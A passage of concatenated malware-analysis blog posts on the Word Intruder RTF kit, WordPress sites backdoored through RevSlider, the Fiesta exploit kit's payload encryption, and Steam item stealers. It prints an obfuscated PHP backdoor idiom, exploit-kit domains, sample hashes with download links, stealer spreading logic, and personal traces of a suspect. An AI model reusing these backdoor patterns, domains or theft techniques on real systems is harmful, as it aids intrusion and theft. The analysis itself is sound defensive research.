Time to find the origin of both of these requests; first we will go after the statistics check-in which is quite easy to find. Simply hitting CTRL-F for the URL in the RTF file shows the following:

Based on the control code names we can guess what happens here, a remote picture is loaded into a picture field. This is standard behaviour and documented on a lot of places (except for Microsoft official ones, I couldn't find any). However, all documentation specifies that local paths can be used not URLs as seen here; but it works anyway. The fact that this include method is standard behaviour does mean that this check-in will always happen, you don't have to be running a vulnerable version of Word. It means the bad guys are getting some proper stats on who opens their payloads with what version of office. Would a new vulnerability for Word hit the web they could quickly check if its 'worth it' to implement based on the amount of hits for that specific (newly) exploitable version of Office/Word. The User-Agent tag for Microsoft Word is Microsoft Office-wide determined. The following is a list of the Office versions with their User-Agent tag:

Microsoft Office 2007: 'MSOffice 12'

Microsoft Office 2010: 'MSOffice 14'

Microsoft Office 2013: 'MSOffice 15'

From the user-agent in the PCAP we can see that my virtual machine was running Microsoft Office 2007; quite vulnerable as it was unpatched. Now the fact that they would have a lot of hits for a specific version of Office doesn't always mean it is vulnerable; people can still apply pathes of course.

MWISTAT communication: Payload retrieval

Now we need to find the actual payload retrieval request. The problem here is that it will not be present just plain in the RTF, its done after Word is exploited in some way; this is also the reason why the 'MSOffice' User-Agent tag is missing as it is not Word itself downloading the payload but the attacker's shellcode. I decided to not analyze the whole exploit chain in the document, there is evidence of multiple exploits. The easiest one would you want to follow one is CVE-2015-1761 located all the way at the bottom of the file, you can follow a writeup by McAfee running through it:[A Close Look at RTF Zero-Day Attack CVE-2014-1761 Shows Sophistication of Attackers] I waited for the document to exploit the vulnerable Office installation in the virtual machine, when the screen looked like this I made a memorydump: The memorydump was made with MoonSol's DumpIt tool, you can get it here: [MoonSols DumpIt goes mainstream] the download link is at the bottom. You can download the memorydump I analyzed in this blog entry here: MWI_exploited_machine.dmp After making the dump the first step is to check if there is any injected code in Word specifically as this is what is being exploited. For this I use Volatility which is a Python based memory forensics analysis tookit. I grabbed the dump and ran the following volatility command 'vol.py -f MWI_exploited_machine.dmp --profile=Win7SP1x86 -D ./ malfind'; the 'malfind' argument makes volatility check for any injected code in the with the with '-f' flag specified memory dump and mapping the memory for a Windows 7 Service Pack 1 32bit machine in order to read it (specified with the '--profile' flag). The -D flag specifies where to dump any injected code it finds which I set to the current working directory. The output shows some interesting hits, injected code in 'WINWORD.exe' which is the Microsoft Word process: Time to find our C2 download request. The C2 payload retrieval structure is the same as for the stats check-in, so simply running a grep for a section of the URL in the dumped code pinpoints the dump we want: grep -nHa image.php process.0x*.0x*.dmp: With orange underlining we see the specific dumped injected code filename; red underlined is the C2 request URL for the payload and the green line seems to indicate a filepath most likely for the payload when downloaded to disk. We now know the specific dump containing the request to the C2, this dump also shows something else that is quite interesting to know; the filepath where the downloaded payload goes which is 'C:\Users\user1\AppData\Local\Temp..\ntxobj.exe' in this case. If you load the dump in IDA you can also see some artifacts from some import resolving shellcode to grab imports from kernel32 it seems: We can also spot the payload URL in IDA as we did in the raw dump of course: And there we go, we found the payload download as well as (with some luck) the payload location on the affected machine without diving into the exploit itself. On the C2 my infected VM also shows up with the 'OPEN' state which is the term used to describe the statistics check-in and the 'LOAD' state which is the payload retrieval state: While the concept of MWI is simple it seems to work quite well. Sadly I cannot say much about the popularity of the MWI kit as I don't know all the customers from Objekt using it. All I can say is that since December last year some samples having been appearing more and more often.

Detecting MWI

Detecting MWI payloads is quite easy, both on network and filesystem level. For filesystem level I've created a YARA rule which flags the statistics check-in RTF tags:

For detection on network level the company I work for (Fox-IT) has released Snort IDS rules: [fox-srt / fox-srt-mwi.rules] Snort coverage for Microsoft Word Intruder

MWI Samples

The following is a list of samples I used while researching MWI. The samples listed here come with a link to Malwr containing a downloadable sample. The sample listed at the top is the sample used in this article for analysis also listed at the top.

'OZLA155_C0E6C24A_X234_investigate.doc' (MD5: c0f7fd333131ceca4292419e207f83fc) [VirusTotal] [Malwr (downloadble)]

'Propozuciya.doc' (MD5: 9990bb1877b32eba996e66feb61d04b2) [VirusTotal] [Malwr (downloadble)]

'Refund form.doc' (MD5: 0ca4f33beb004d1be9485040797bed27) [VirusTotal] [Malwr (downloadble)]

'Proforma Inv.doc' (MD5: 4719209982b272a06ac511119b9aa958) [VirusTotal] [Malwr (downloadble)]

'Information.doc' (MD5: 82af90c3854014f96fb53b1eedc2031d) [VirusTotal] [Malwr (downloadble)]

'voucher.doc' (MD5: bb6cf9f84933839e963f6ad249fa6d01) [VirusTotal] [Malwr (downloadble)]

'exploit.doc' (MD5: 662ebfa5e7f5f46a0ab2b4d71eab82a3) [VirusTotal] [Malwr (downloadble)]

'details.doc' (MD5: 453f48485edd90d1ab2a3063682931d6) [VirusTotal] [Malwr (downloadble)]

'details.doc' (MD5: e215dd49ee49ecfe40ada964d23c8462) [VirusTotal] [Malwr (downloadble)]

[0x3a]

Thousands of compromised WordPress websites redirect to exploit kits

Before starting this write-up I have to thank Thomas from CERT-Bund for sharing some of the intelligence he has on this.

For the past weeks a spike has been seen in the amount of WordPress websites embedding iframes to exploit kits; more than just Fiesta has been seen. There are thousands of websites currently embedding the iframes, from what little data I have which is only some 3000~ websites it is most likely just a small section of it all.

When visiting one of the affected websites a user is greeted with some extra inject HTML before the tags on the website which consists of an iframe:

This iframe is a gate towards (in many case) the Fiesta exploit kit, for a detailed writeup of Fiesta you can read my previous article which goes through all the steps from redirect to exploitation: An In-depth analysis of the Fiesta Exploit Kit: An infection in 2015.

Analysis

All the compromised websites are WordPress websites. This raises a question: "How did they get compromised with the HTML injection?". WordPress itself has been quite stable for a while but the major problem with WordPress websites are the plug-ins that are installed. In the case of this campaign the websites have all been compromised via a plug-in called "RevSlider" which already got in the new previously regarding its vulnerability:

RevSlider Vulnerability Leads To Massive WordPress SoakSoak Compromise

Some administrators have also started to report on 'strange' things in a support thread on the WordPress support site: wp-admin page is white and blank. When you look at the screenshots the user added you can see that in fact it is the Fiesta exploit kit redirect active:

Investigation on one of the compromised sites shows the attackers performed the following steps:

RevSlider was abused to add an extra Administrator account

The attacker uploaded a script called 'smart.php'

Edited 3 files in the WordPress installation; 2 files inside other plugins were backdoored with a code execution backdoor and the WordPress 'nav-menu.php' file was modified

First we'll have a look at the smart.php file uploaded by the attackers. When opening it you are greeted with a lot of non-ascii in a blob with at the end some PHP code:

When you indent and pretify the PHP code for a bit you can work out how the things actually functions:

First it checks if a specific variable is set in the cookie or POST data send to the PHP file. When the data is present it does some dissection on it (with the for loop) using the compressed blob. It uses the result of this for execution. The problem is that the blob is used for indexing on the POST data which we don't have sadly.

Time to move on to the other files; 2 files had added backdoors at the top of the PHP code. Let's open one of them up (these were files from other plugins), one of these files is part of SimplePie and was found in /wp-includes/SimplePie/Cache.php. Opening the file it is already really clear what they did (no obfuscation or hiding):

At line 1 it just starts with a plaintext/non-obfuscated backdoor. With the 'pass' parameter and a combination of the 'p1' or 'p2' parameter the backdoor will either execute directory or first base64 decode it before executing. The 'pass' parameter seems to be hardcoded and I've pixelated because it might actually be static across all the other hacked websites. This exact same code is also present in /wp-includes/pomo/eentry.php as a 'backup' backdoor basically.

The third file that was modified was /wp-includes/nav-menu.php. The modification is a little bit harder to spot as its in the middle of the file inbetween some other PHP code:

The preg_replace function allows for a regular expression search and replace, the '/e'modifier actually makes it possible to evaluate the second argument as a PHP expression; meaning it executes the code in the second argument. The second argument from the backdoored nav-menu.php file is a long string which comes down to:

eval(gzinflate(base64_decode()));

When you decode and inflate the data blob you get the PHP script. The top part of it looks quite familair; its the same backdoor part we saw in the other files:

The second section becomes a bit more interesting, it builds up 2 variables, one to store the User-Agent used by the visiting clients and a URL:

The URL pattern takes a base64 encoded starting URL and appends the following data to the URL:

Webserver domain name

Client IP address

Client User-Agent (Base64 encoded)

Client Referer (Base64 encoded)

The full URL (without the domain, I pixelated a section of the base64 data):

/ordpm/v2/?export=7f53f8c6c730af6aeb52e66eb74d8507&url=50773&g=67&host=|compromised site|&ip=|client ip|&ua=|client user-agent|&ref=|client referer|

This client data is most likely used to make stats on the backend of this system. In the third section a check if performed to do a couple of things:

Make sure the 'echo' variable isn't set (this so it doesn't inject the iframe multiple times)

Make sure the client does have a User-Agent

Make sure the client IP address doesn't start with 74.125, this is a Google owned range; the full 74.125.0.0/16 in fact.

Make sure the User-Agent is not one of the internet crawlers (Like Google, Bing, Yandex, etc)

An interesting thing to note is the commented checks present in the code. The old code used to also perform checks to see if the client had a referrer and if it was running Internet Explorer as a browser. The Internet Explorer part is interesting as the Fiesta exploit kit only works on Internet explorer as explained in my previous entry. The PHP code performing these checks:

The last section is where the interesting part happens; it injects the iframe HTML code:

First it makes sure CURL is available, then it builds up curl object to perform a request with. Next it formats a request based on the full URL constructed earlier (with the client IP, User-Agent etc). It performs the request and stores the returned data. This return data is then decoded, its base64 encoded data, and printed to the page. This data is the iframe that is injected in the page, it comes from this backend after being requested by the webserver.

So to conclude; this is how the current campaign works:

They compromise WordPress websites running the vulnerable RevSlider plugin

When a client visits the website they inject HTML code obtained from the backend (The HTML is currently an iframe but it can be anything).

Some more examples of compromised sites (I've been tweeting a bunch of these sporadically of the past weeks):

Statistics & More information

The payloads that are dropped from the exploit kits are diverse. There are reports of Cryptowall 3.0 being dropped, some banking malware as well as ad fraud; it just depends who rents 'loads' on these instances.

From the list of known compromised sites I was able to make some stats for TLD's:

Besides that here are the affected country IP's spread over the globe:

As you can see mostly the US is affected with hosted websites, the grey countries don't host any affected websites. The top 10 countries:

United States

Netherlands

Germany

France

Spain

Great Britain

Italy

Poland

Canada

Singapore

Keep in mind these numbers are incomplete; there are most likely a lot more websites.

CERT-Bund has been sharing the full list of currently known domains with other CERT teams. If you are a CERT and haven't received the list contact CERT-Bund or email me, GPG ID: 0x7e6d96d628493171.

Exploit kit domains

The domains that have been seen are all hosted under dynamic DNS providers and have all been set to a short TTL. Just a small grab from a collection of the domains seen for the past week(s):

ajhdiw.myftp.org

cbqmks.serveftp.com

cwzckyfe.servepics.com

duuckxhde.hopto.org

eebdfytqq.serveftp.com

eijswjbae.serveftp.com

flafyvq.hopto.org

gioiydaepp.myftp.biz

gnbhikop.myftp.org

gztypcyb.serveftp.com

hvrwdrwez.myftp.biz

ivelllujs.hopto.org

kcwike.hopto.org

ktalkrsjj.servepics.com

lvfyhxwxca.hopto.org

mufdhpr.servepics.com

nnzqxwac.hopto.org

ofazutd.serveftp.com

ofysfi.servepics.com

pmotjyshe.myftp.org

Mitigation & Prevention

In order to clean up a website affected by this a few steps have to be taken. However, the best thing to do here is to rebuild the site from a clean WordPress installation of course (keeping in mind to not install the same vulnerable plugin a second time of course).

Mitigation:

Because the attacker adds an extra administrator account it is best to assume all credentials are compromised. Remove all accounts and create a brand new one without re-using any of the old username/password combinations.

Check all PHP files for modifications by comparing them to files from the official WordPress website (or own local copies if you are 100% sure they are unaffected). Any modified files should be replaced with the normal one.

Update the RevSlider plugin to the latest version. One thing to keep in mind is that certain versions of RevSlider that were embedded with WordPress themes cannot automatically update. Fix the vulnerable RevSlider plugin in these themes by installing this patch: Patch for Revolution Slider. Envato released a list of possible affected themes: List of Potentially Affected Themes

Prevention

You are running a public website with a CMS that will have problems from time to time. Best is to keep up with the security updates in both the CMS platform as for the plugins, this should reduce the risk somewhat.

Another option is to run a static build from your WordPress website instead of a live (possibly vulnerable) one. There is a plugin that can do this: Really Static

You could also ask yourself if you really need a dynamic website. If you update content constantly you do but if you only update your website every few months consider a static webpage it saves you a lot of trouble.

[0x3a]

An In-depth analysis of the Fiesta Exploit Kit: An infection in 2015

A while ago I blogged about the Fiesta exploit kit, this was back in September 2013 [Fiesta Exploit Kit analysis serving MSIE exploit CVE-2013-2551] in this blog I focused on the integration of the MSIE exploit and parts of the landing page.

At that time payloads were not encrypted, you could just see them pass by on the network level and spot the PE header. Nowadays these guys are encrypting the payload transferred to a client after successful exploitation of a browser-plugin or the browser itself. In this blog entry I'll go through the steps of how the Fiesta exploit kit works: how it redirects, exploits and infects clients. I'll follow a Flash exploit, Java exploit and a PDF exploit to, in the end, be able to decrypt payloads. Some weeks ago after encountering an infected client during work and not being able to automatically extract payloads from the network stream I decided to have a look at home. First step was infecting my virtual machine, luckily the redirect was still active. The redirect can be easily spotted on the index page of the site:

A small snippet was being injected in the main page just before the end of the page. A simple offset character scheme was used to obfuscate the snippet, decoding is simple:

The exploit kit is active on 'znaaok.myftp.biz' which at the time pointed to 92.63.87.16. Checking this IP in the VirusTotal passivedns database shows a lot of similar looking domains:

This specific campaign is active under no-ip DynamicDNS domains. All the used domains are quite shortlived and rotated often.

The landing page

Back to the analysis, the browser in the VM embeds the iframe in the page as per the JavaScript snippet indicated and gets exploited:

In this example the machine gets exploited with a Flash exploit, MD5 hash for the flash exploit: f77e25d5a04d8035d49a27d1b680e35d. At the time of submission it was only at 3 out of 57 antivirus products for detection on VirusTotal, rather low meaning its 'fresh'. Exploit kit controllers will rotate the flash exploit when it gets detected by AV engines to ensure 'FUD' spreading, in this case 3 out of 57 is not 'FUD' but close to it. From the Fiddler requests we can determine the following:

76: Client lands on the landing page

80: Client downloads the flash exploit

81: Client downloads the payload after successful exploitation

Lets start at the start, the exploit kit landing page. When opening up the landing page in sublime I immediately recognized it from the 2013 one. Except for the random text at the top (which I removed a bit from to show the code) the obfuscator for the JavaScript has remained the same:

To deobfuscate the landing I take a few steps:

I search for the string Decrypter (which is how this obfuscation works)

I decrypt all the used functions and words

Inline replace all once used variables

Remove values that have been split into one (like var a = 'from'+ 'Char' + 'Code' kinda things)

Clean up the code (remove unused variables)

Give it proper names so it makes sense (obfuscator removes sensible names so we pick our own based on context)

The first part is finding the string decrypter. Because I have already looked at Fiesta in the past immediately spot it. It has been split into two separate calls with a wrapper function:

The interesting fact is that because the obfuscator of Fiesta didn't change (as shown in the picture) the old string decrypter still works. The only thing that needs to be changed is the 'masterkey' which you can see in the 'messop()' wrapper function:

Now how does this string decrypter come together from the previously shown obfuscated code ? Simple, the top section of the decrypter function is in fact the (cleaned up) code from the 'bonyv()' function and the bottom section of the decrypter function is the (cleaned up) code from the 'seam9j()' function. I've cleaned it up a bit to give it sensible names of course.

We can now replace all the calls to the original wrapper function named 'messop()' with the real string using the decrypter:

As you can see most of the declared variables at the beginning of the document are global variables. After decrypting all the strings in the landing page we can start inline replacing these global variables (meaning something referencing 'lintl' will become 'window.document' as an example, this makes the code much more readable). After clean up, the landing page structure is clear; checks for plugins and such are now visible although the naming doesn't make much sense (yet). After changing the names based on context of the page we get a nice and clear picture of what the landing page does:

As I did in my previous blogpost you can spot the used CVE's just by comparing the version numbers being checked against known CVE's for the checked plugin. This gives us a list of the following software being targeted by Fiesta in 2015:

Adobe Flash

CVE-2014-8439: Adobe Flash Player before 13.0.0.258 and 14.x and 15.x before 15.0.0.239 on Windows and OS X and before 11.2.202.424 on Linux, Adobe AIR before 15.0.0.293, Adobe AIR SDK before 15.0.0.302, and Adobe AIR SDK & Compiler before 15.0.0.302

CVE-2014-0497: Adobe Flash Player before 11.7.700.261 and 11.8.x through 12.0.x before 12.0.0.44 on Windows and Mac OS X, and before 11.2.202.336 on Linux 

Adobe PDF

CVE-2010-0188: Adobe Reader and Acrobat 8.x before 8.2.1and 9.x before 9.3.1 

Java

CVE-2012-0507: Java SE 7 Update 2 and earlier, 6 Update 30 and earlier, and 5.0 Update 33 

CVE-2013-2465: Java SE 7 Update 21 and earlier, 6 Update 45 and earlier, and 5.0 Update 45 and earlier, and OpenJDK 7 

Silverlight

CVE-2013-0074: Microsoft Silverlight 5, and 5 Developer Runtime, before 5.1.20125.0 

Microsoft Internet Explorer

CVE-2013-2551: Microsoft Internet Explorer 6 through 11

Something interesting to note about the Fiesta exploit kit landing is that it completely focuses on Internet Explorer. The way the presence of Adobe PDF, Adobe Flash, Java plug-ins is detected means it will only work with Microsoft Internet Explorer. It uses the ActiveX controls for all the plug-ins which is specific for the Microsoft browser. The last CVE from the list, the one for Internet Explorer self is also accompanied with a check to see if the system is 64bit by looking for 'x64' or 'Win64' in the user-agent. This is most likely due to the ROP chain used in the MSIE exploit.

Based on this information it means that the Fiesta exploit kit will not work on any other browser besides Internet Explorer. (This is unless the landing page is regenerated per type of browser on the server-side but I haven't seen it change).

Following the flash exploit landing page trail

From the network capture we were able to determine that my VM was exploited with a Flash exploit. By comparing the Flash exploit URL with those present on the landing page we can see that CVE-2014-8439 was used, this gives us a bit of a starting point. This CVE was originally spotted by @kafeine who found it was a 0day at the time used by the Angler exploit kit, read his post about it here: [CVE-2014-0569 (Flash Player) integrating Exploit Kit] He had an analysis done together with F-Secure: [Out-of-Band Flash Player Update for CVE-2014-8439]

After decompiling the ActionScript from the exploit we get a relatively small piece of script (largest part is a static block of encrypted data at the end, not in the screenshot):

After cleaning up it makes some more sense:

The script in the screenshot is not complete, there is a function I'm not showing which is the 'LoadComplete' function set as a listener on the complete of the 'loadBytes' function. This function is really small and looks like this:

What happens here is that the stage 2 data is appended as a 'child' of the root/main object, and stage 2 is in fact another flash file (hooray for obfuscation against detection...). Via the 'addChild' function the stage 2 flash file will become active. After dumping the decrypted stage 2 data from memory we can spot the Flash file header, highlighted inside the red box:

Decompiling this Flash file gives us an ActionScript file of about 820 lines. I'm not going to go into the exploit itself in depth, if you want to know how the exploit exactly works there is a great article written by Chun Feng from Microsoft. His article: [An interesting case of CVE-2014-8439 exploit]

Basically the ActionScript from the screenshots is the 1st stage and only functions as a packer/loader for the actual exploit. In the 2nd stage the actual exploit is used to gain control of execution. To gain control of execution the garbage collector is abused. Inside the garbage collector there is a pointer to an ITelemetry object which is used by the garbage collector. Via a specially crafted ITelemetry object that has a crafted VTABLE control is gained of execution. The modified VTABLE for the ITelemetry, instead of pointing to the valid ITelemetry functions, points to the shellcode. As said by Chun in his article, the control will be transfered to a set of ROP gadgets via the modified VTABLE entry for 'ITelemetry.IsActive()', this function is called when a garbage collection occurs.

After decompiling the embedded flash file (stage 2) we get a single action script file. In the function called on initialization of this flash file we find something interesting. The code starts referencing one of the variables given to the flash file on the landing page and later calls some function with this variable's data:

If we follow the function called with our landing page variable data called 'seatk' we hit something that looks familiar from the initial landing page. Its the string decrypter function although slightly modified:

It seems the Fiesta actors made one encryption/obfuscation scheme work and applied it to different aspects of their exploit kit. The ActionScript version is slightly different in implementation (this is also because of the fact that a decompiler doesn't bring back the original code) but it does have a similar structure as the other function. The decoded data returned from this function is the shellcode which is combined with the ROP chain to infect the host. Because this flash vulnerability (CVE-2014-8439) is quite recent and no POC is available I will not go into any details of the vulnerability (as I don't want to explain how to (ab)use it). Maybe at a later date I can revise this blog but for now I won't be handing out details of this one :). We've already learned some things about the way Fiesta currently uses exploits:

Landing page parameters are used for shellcode / payload download information

The exploits have a layer of packaging against detection (which can be swapped/changed quickly to become 'FUD')

The 3 stage exploit setup shows it to be a sort of framework in which individual pieces can be easily swapped out.

So, skipping from the Flash exploit let's jump into something a bit more easily readable and known in terms of exploits: Java. I agree this is a bit of a jump and I'm not going to go all detail into the Java exploit starting from the landing page like with the Flash one. I'm just going after the payload decryption.

Jumping into Java based payload decryption

The Java exploit is a sample for CVE-2013-2465:

5c6c4a6a4c5adc49edabd21c0779c6e3

. We can also find it in the landing page, the 'JavaExploit_CVE20132465' function shows the embedding of the Java applet.

Opening up the decompiled JAR file we get some slightly obfuscated Java code. One function jumps out as it seems to be dealing with execution of the downloaded payload, after cleaning up we get a clear picture of how the payload is downloaded:

First thing we can see at the top of the function is the fact that it seems the Java exploit for Fiesta seems to support download and execution of multiple payloads.

After downloading a payload the first 256 bytes are read, these actually contain the XOR key for the rest of the payload. We can actually spot the 256 bytes difference in size by looking at the payload dropped my virtual machine and the one downloaded over the line:

The important section of the shown Java code is the 'Decrypt' function. Here a block of encrypted data is decrypted with the 256 byte XOR key. After deobfuscation it looks like this:

The first part uses two indeces which increment for every byte that is decrypted (and is masked with 0xFF to stay inside the 256 byte block for indexing). The values of the key located at the two indeces are swapped, summed and again masked to form the final key location for the XOR operation.

This XOR decryption is performed on the whole PE data retrieved which gives a clean binary. From the previous segment of code we can also see the payload filename on disc is numeric and based on the current time of the machine.

After converting the Java code to Python we can decrypt the payload easily, success:

Were done it seems, we can successfully decrypt the dropped payload for Fiesta. Lets try this on the payload from the flash exploit which we looked at earlier:

Seems it doesn't work... Decrypting the payload for either Flash, Adobe PDF or Silverlight exploited machines gives the same failed results. It seems exploits which use shellcode based execution control, rather than the plain Java code, use a different encryption scheme, annoying. We can see that there's a different size for the original 256 byte XOR block previously seen from the decrypted payload on disk and the payload transferred over the line for any shellcode based exploits:

We need to look at a shellcode based exploit. We've already had a look at the Flash exploit but stopped at the point of exploitation, followed a Java exploit and were able to decrypt this payload now its time to look at another type: Adobe PDF.

Diving into an Adobe PDF exploit

The sample for this one is: f4346a65ea040c1c40fac10afa9bd59d. For PDF analysis I'll grab peepdf a tool developed by a colleague of mine, Jose Miguel Esparza (I also have to thank him for helping in the shellcode analysis later on in this blog entry, thanks Jose!!). Lets open up the PDF and look at the initial information we get:

Peepdf tells us there's an AcroForm and some JavaScript. If we take a look at the AcroForm we can see the Form actually uses the JavaScript, its invoked upon initialization. First follow the object relationships until we hit the form (XFA):

If you scroll down into the actual AcroForm script we can find the initialization setup and the actual (obfuscated) JavaScript for the exploit:

Lets clean up the code and get to the final 'stage' where exploitation happens. In this piece of JavaScript a malicious image object is created with some shellcode in it:

Extracting the 'expl_imgdata' value before assigning it to the image we can decode it (base64) and have a look at the shellcode. In this shellcode we find the actual decryption function and its completely the same as the one from the Java exploit, so what is happening ? A bit before the 256 byte XOR key there are 16 (extra) bytes which hold information. In the shellcode the payload is downloaded, then the first 16 bytes are used to determine the actual payload size amongst others, these size values are XOR'd however. The first 4 bytes is a XOR key for the next 12 bytes. A visual explanation:

To decrypt this payload we can skip the first 16 bytes and it will be exactly the same as before... right? Well, there's a bit more decrypted output data than expected, 25 bytes more to be precise. After these 'extra' 25 bytes the normal MZ header begins and we get the valid PE. So what is in there ? More information needed to drop the file on the system! The data before the MZ header is the filename size, the filename on disc as well as the actual payload size:

By stripping this information we get a fully working PE file, finally we've decrypted the payload by Fiesta for all types of exploits! The fix for shellcode based exploits is to skip 16 bytes, remove the first 25 bytes of the decrypted output as well as the last byte of the decrypted output. The final output comes with one nullbyte extra at the end. The decrypted sample from this run is 31af1a5656ce741889984e8e878c7836 you can download a copy of it from malwr [ here ]. To conclude this blog, I've written a Python script that decrypts any Fiesta payload extracted from network data, I've tested it against the last 10~ Fiesta EK hits published by Brad on malware-traffic-analysis.net and it works flawlessly! It takes two arguments, input filename (1st) and output filename (2nd). It will output valid PE files for shellcode based exploits as well as non shellcode based ones. The script is available from Github, it is part of my tools repository: https://github.com/0x3a/tools/blob/master/fiesta-payload-decrypter.py

Of course due to this publication and tools the guys from Fiesta might change their tactics, if the tool doesn't work anymore let me know! Hopefully you've enjoyed reading this rather lengthy blogpost, if there's any question you know where to contact me ;)

[0x3a]

Analysis of Steam stealers and the 'Steam Stealer Extreme' service

Back in the end of November I started to spot some steam stealing malware in a backdoored Mumble installer:

#Steam stealer, infected mumble installer & fake image. VT: 1/56 https://t.co/jXyJDUyjxH and https://t.co/irzSB6NfuQ pic.twitter.com/FU3O3iUerD

— Yonathan Klijnsma (@ydklijnsma)

November 30, 2014

Samples of these kind of stealers appeared more and more often. Around half of December I ended up with 14 unique samples that were actively spread around (see the end of this post for hashes and downloads for these samples):

All of them except one are around 250kb or more in size. Only one sample, called 'SteamDouble.exe', was 69kb in size:

File name: SteamDouble.exe File size: 69.0 KB ( 70656 bytes ) First seen: 2014-12-07 MD5: 5f50e810668942e8d694faeabab08260 SHA1: b44c087039ea90569291bfe1105693417fb2f84d SHA256: 21c93477c200563fea732253f0eb2814b17b324e5d533a7c347b1bd7c6267987 ssdeep: 1536:NrNoD6y4E/+JWiiVUIekBixa7vq5KwSTPxkjL/Gv:NrNADqWii2IekBMa7v9wSYY VirusTotal: https://www.virustotal.com/en/file/21c93477c200563fea732253f0eb2814b17b324e5d533a7c347b1bd7c6267987/analysis/ Malwr (Downloadable sample): https://malwr.com/analysis/NDQwMzE3ZTI4OTc5NGZkYmI4MDc4YzhhNDMwOGFmNjA/

STEAMDOUBLE/BRUTALITY analysis

The 'SteamDouble.exe' sample came from a link originally send in a Steam chat message. The text of the message was: ""lol, wtf? http://img-pic[.]com/image612_14[.]jpeg". When visiting this link the server on the other end responded with:

HTTP/1.1 301 Moved Permanently Server: nginx Date: Sun, 04 Jan 2015 14:15:03 GMT Content-Type: text/html; charset=iso-8859-1 Connection: keep-alive Location: http://goo[.]gl/QaidJm

This was a redirect towards a Google shortlink: "goo[.]gl/QaidJm". In turn this shortlink redirects towards 'steamdouble[.]com' website:

It advertises the so called 'CS:GO Skin Duplicator'. The files for this tool are hosted on a filesharing service from russia  called 'exfile.ru'. The website itself also features a video showing the usage of the tool:

The video shows a tool which allows, as the tool's name says, a user to duplicate CS:GO items. In the video it links to 'csgoskinduplication[.]com' this is the exact same website as 'steamdouble[.]com'. The sample I grabbed back when I first saw this appear was not obfuscated or crypted. The current version available from the site has a crypted fake DLL which is decrypted and then ran. This payload is the same one I will be showing in the further analysis, just packed/crypted. It seems when the guy behind this first started he didn't seem to care about packing/crypting his payload. The 'SteamDouble.exe' payload is written in C#. Throwing it in a tool like ILSpy gives us a nice set of source code files especially because the author didn't obfuscate any of the code. Just by looking at the project title 'Stealer' and the folder names inside the project like 'SteamStealer' it gives us a clear indication of what this sample does:

The first folder named 'Steam4NET' contains a modified, stripped or old version of the Steam4NET open source .NET wrapper around the Steamworks C++ interfaces hosted on Github: https://github.com/SteamRE/Steam4NET

Looking at the main function we see the first thing it does is download an image which is stored in the appdata folder and shown to the user:

The image that is downloaded and displayed shows a screenshot of a russian DOTA2 account with the items it has available. (The original message send on Steam chat was an 'image' link so this makes sense to hide its real purpose). The downloaded image:

The second part of the main function is where the actual 'Steam stealing' takes place:

First it creators a new SteamWorker and adds an 'offer' which is used to trade items. The Steam cookies are parsed and as long as there are Steam cookies (aka the user is logged in to Steam) it will perform the 'Spam.SpamInFriendList' function which contains the message which got me on the sample in the first place "lol, wtf? http://img-pic[.]com/image612_14[.]jpeg". After this it adds the items it wants to steal which is a long list of items this guy is interested in. The last step is where it actually sends the item to trade to his own account. On the other end the guy only has to accept the trade offers (or have some automated way of doing it) and the items will belong to him. Very simple but an effective way of stealing items. Going back to the original 'addOffer' function if we look at the arguments it expects we can find who is behind this (or at least the account used for the malicious trading):

The first argument to this function is the user's Steam ID. This can be put in a SteamCommunity URL to go the user's profile. The URL for this is: 'http://steamcommunity.com/profiles/<SteamID>/', this will redirect to the user's real ID. In this case the SteamID used is '76561198161815322', if we put this is in we get redirected to 'http://steamcommunity.com/id/prewen/'. This is the profile of a guy going by the nickname 'prewelec' who is supposedly from the US:

On the bottom the user commented some trade URL's with the ID and token, these are the same items used for the 'addOffer' function's 2nd and 3rd argument. Looking at this user's inventory it doesn't show a very big amount of items but it could be this is just a middle-man account used to trade the items further:

Another interesting thing from this profile is the comments it leaves on some other gamer's profile:

The comment is pretty much the same message it spams around via the Steam chat 'Spam.SpamInFriendList' function. This sample stood out and appears to be a custom thing created by a criminal specifically for his needs. The other samples however did not match this sample, not only by size.

The Steam Stealer Extreme service

From the 14 samples I obtained the 'SteamDouble' sample stood out of the bunch due to the size. The other 13 are all around 250kb in size. Throwing any of the 250kb and bigger samples into ILSpy gives us the same decompilation structure:

This tells me its the same tool/stealer used in all of these samples. Looking at the function inside the decompiled code we see similar functionality as with the 'SteamDouble' Stealer:

It can gather the Steam cookie, add items to be stolen, post comments (on profile pages) to spread and also has two functions indicating of a  spreading mechanism towards friends (be it Steam chat or profile comments): 'SpreadToFriends' and 'SpreadToFriendsUsingChat'. Just by looking at these functions we get a clear picture of what the purpose is of this malware. The builder used for these samples does obfuscate some of the code which causes some trouble for the decompiler. Of course it can be fixed but seeing as the purpose of this thing is already clear I'm not going to waste time on cleaning all the samples. The more interesting question here is what is 'Steam Stealer Extreme'. By simply googling for it you can find the 'sales' website located at steamstealer[.]com, steamstealer[.]org and steamstealer[.]net. It has the title 'Steam Stealer Extreme' which is marketed as 'Revolutionizing the Steam Item Stealing Industry', erhm... yes. An about section details some more information on 'the product':

Steam Stealer Extreme is the new Steam Stealer completely custom coded (you can PM us and get some proof if you want!) and functions well. Steam Stealer Extreme is not like other steam stealers which is based off the same code as found on the Russian forum where it was leaked. It has extra features like filters (which are properly coded) and spreading your file via commenting on the client's friends' profiles * NEW * Spreads Via Chat! We're a no bullshit product with little disadvantages. Our stealer does work and will work until Steam decide to patch the methods used. Steam Stealer Extreme is about getting the items you want and when you want.

They also have some video's showing how it works on their YouTube channel: https://www.youtube.com/channel/UC7MjY8duE1xh-tTWpAsj_o The site also contains an image of the 'builder' for the stealer:

A list of features for the stealer:

Information on how to purchase 'Steam Stealer Extreme', which is currently only available via Bitcoin payment:

And at the bottom there's also some contact information:

Looking at the registration date of the website the .com, .org and .net websites for 'Steam Stealer Extreme' were registered on 2014-11-16 and all hosted on a VPS owned by OVH France at 92.222.189.92. The email address 'brynaldo8' in the contact section from the site is '[email protected]'. Interestingly if you simply google for this email address you will find the following pastebin post which contains a database dump with the (hashed) password for 'LaPanthere' which is the name this guy goes by:

(Originally located at: http://pastebin.com/QaeS2D17) The 'LaPanthere' guy also has a PasteBin account at http://pastebin.com/u/LaPanthere:

Combining 'LaPanthere' and 'brynaldo8' also shows a dump from a post by Brian Krebs about 'ragebooter' being hacked. The dump also contains the user details of 'LaPanthere' but with a hotmail.com email address instead of gmail.com:

(Original dump located at: http://krebsonsecurity.com/wp-content/uploads/2013/08/ragebooter.txt)

Finding this guy's Steam profile is also easy, it actually matches the avatar from the PasteBin account. (Steam profile: http://steamcommunity.com/id/lapanthere):

